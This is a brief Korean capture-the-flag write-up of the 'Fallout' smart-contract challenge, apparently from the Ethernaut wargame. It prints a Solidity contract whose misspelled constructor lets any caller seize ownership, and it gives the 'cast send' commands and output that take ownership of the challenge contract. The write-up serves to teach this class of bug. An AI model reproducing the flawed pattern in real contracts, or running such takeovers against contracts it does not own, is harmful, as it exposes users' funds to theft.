1. 문제

아래의 컨트랙트 코드를 잘 살펴보고 소유권을 탈취하라 
pragma solidity ^0.6.0;

import "openzeppelin-contracts-06/math/SafeMath.sol";

contract Fallout {
    using SafeMath for uint256;

    mapping(address => uint256) allocations;
    address payable public owner;

    /* constructor */
    function Fal1out() public payable {
        owner = msg.sender;
        allocations[owner] = msg.value;
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function allocate() public payable {
        allocations[msg.sender] = allocations[msg.sender].add(msg.value);
    }

    function sendAllocation(address payable allocator) public {
        require(allocations[allocator] > 0);
        allocator.transfer(allocations[allocator]);
    }

    function collectAllocations() public onlyOwner {
        msg.sender.transfer(address(this).balance);
    }

    function allocatorBalance(address allocator) public view returns (uint256) {
        return allocations[allocator];
    }
}

2. 소유권 탈취

코드를 살펴보니 아래 부분에서만 소유권을 변경하는 코드가 존재한다.

근데 코드에서 따로 validation 하는 코드가 존재하지 않아 별다른 작업 없이 이더를 조금 보내면 자동으로 함수를 호출한 sender로 소유권이 이전되지 않음….?

/* constructor */
function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
}

3. 문제 풀이

// 소유권 조회
cast call 0x1c390b1d7AA866aa89DB28DbEcF18Fb1515e46E4 "owner()(address)" --rpc-url [rpc-url]
> 0x0000000000000000000000000000000000000000

// Fal1out() 함수 호출
cast send 0x1c390b1d7AA866aa89DB28DbEcF18Fb1515e46E4 "Fal1out()" --value 0.001ether --rpc-url [rpc-url] --private-key [private-key]
> [...success]

// 소유권 조회
cast call 0x1c390b1d7AA866aa89DB28DbEcF18Fb1515e46E4 "owner()(address)" --rpc-url [rpc-url]
> 0x8fe205351ADE3b32245FFcBa2F58141Fa3B0a20F

변경됨 유후~~

4. 나품 ㅋㅋ

image.png

5. 알면 좋은 사항

solidity 0.4.0 이하 버전에서는 constructor 라는 키워드 없이 함수의 이름을 컨트랙트의 이름과 동일하게 해주면 생성자 함수로 사용할 수 있다고 합니당